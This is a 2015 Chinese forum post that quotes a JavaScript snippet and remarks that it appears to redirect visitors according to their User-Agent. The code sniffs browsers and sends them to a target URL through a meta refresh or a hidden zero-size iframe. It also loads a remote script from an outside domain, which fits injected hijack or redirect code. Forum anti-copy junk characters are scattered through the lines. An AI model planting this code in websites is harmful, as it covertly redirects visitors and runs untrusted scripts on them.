|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 4 S' A4 y; X6 [1 H( G1 L" r
- var ua = navigator.userAgent.toLowerCase(),
* M7 m4 k3 B1 O* F - browser = {8 x. e/ }* W& b' c
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
R& ^" R9 A$ A2 m* `4 p - opera: /opera/.test(ua)," T2 `4 X2 g `; Y" M# _/ z* G) V
- maxthon: /maxthon/.test(ua),
9 U; i. s0 ~5 [* t, k - theworld: /theworld/.test(ua),
6 c8 |) Y( L" m+ V8 b - qq: /qqbrowser/.test(ua),* \4 n. B: w# R3 M3 A
- sogou: /se /.test(ua),
/ s. d3 P" ?4 B5 W! W - liebao: /liebao/.test(ua),
5 O+ F8 j2 ~! v8 N# L/ G8 e - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
4 Y; {' J' \2 S, |! o% g) ]3 { - chrome: /chrome|crios/.test(ua),1 c: p- S; E9 I8 {$ x/ w# `$ h
- safari: /webkit/.test(ua),; i }2 O- u: y3 R8 L
- uc: /ucbrowser/.test(ua),+ L" L: D- ^) G! O# Z
- ie: /msie/.test(ua) && !/opera/.test(ua)
. o2 P& }* z, S, S+ D9 \" Q- D - };) S8 v+ W4 F& W! ^. P- A' h+ ?
- var ver = browser.ver;
+ l2 r$ N1 W- A! E, Q- K! s - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {6 ~$ _% W. B# t. z! v* Y4 p% Q L D- o
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
" o0 P% `* r( I1 s+ Y - } else {* w6 _- n- ~( S, }
- window.sc = "<iframe src=" + tourl + "></iframe>";5 N! n- @$ m4 R
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
, Q8 X+ V$ B9 [! D7 j3 M& o$ @' W5 ^ - }1 V2 B: S- N+ _$ j# ^
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
1 f- w R0 d) g! l$ m0 w9 o* f1 R" X z b2 Q) |0 w
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|